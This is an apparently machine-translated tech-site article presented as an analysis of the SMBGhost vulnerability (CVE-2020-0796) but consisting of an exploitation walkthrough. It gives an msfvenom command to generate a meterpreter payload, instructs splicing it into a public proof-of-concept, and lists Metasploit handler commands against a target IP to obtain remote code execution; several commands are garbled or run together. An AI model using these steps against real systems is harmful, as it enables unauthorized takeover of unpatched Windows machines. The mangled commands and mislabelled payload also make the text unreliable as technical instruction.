Shulou(Shulou.com)06/01 Report--

This article shows you how to carry out the vulnerability analysis of CVE-2020-0796 in Metasploit. The content is concise and easy to understand. It will definitely brighten your eyes. I hope you can get something through the detailed introduction of this article.

1. Vulnerability description:

The vulnerability is the processing of maliciously crafted compressed packets by SMBv3, which could be exploited by an unauthenticated attacker to execute arbitrary code.

2. Test environment and tools:

Windows10 1903 64-bit download:

Ed2k:// | file | cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso | 4905476096 | F28FDC23DA34D55BA466BFD6E91DD311 | /

Download CVE-2020-0796 "poc":

Https://github.com/chompie1337/SMBGhost_RCE_PoC

III. Vulnerability exploitation

1. Generate reverse connection Trojan:

Msfvenom-p windows/x64/meterpreter/bind_tcp LPORT=4444-b'\ x00'-I 1-f python

2. Replace POC and replace the code in the original text with the code generated above

3. Start Metasploit snooping

Use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 4444 / / listening port set rhost 192.168.1.143 / / target host run

3. Run poc to establish the connection automatically.

The above content is how to analyze the vulnerabilities of CVE-2020-0796 in Metasploit. Have you learned the knowledge or skills? If you want to learn more skills or enrich your knowledge reserve, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.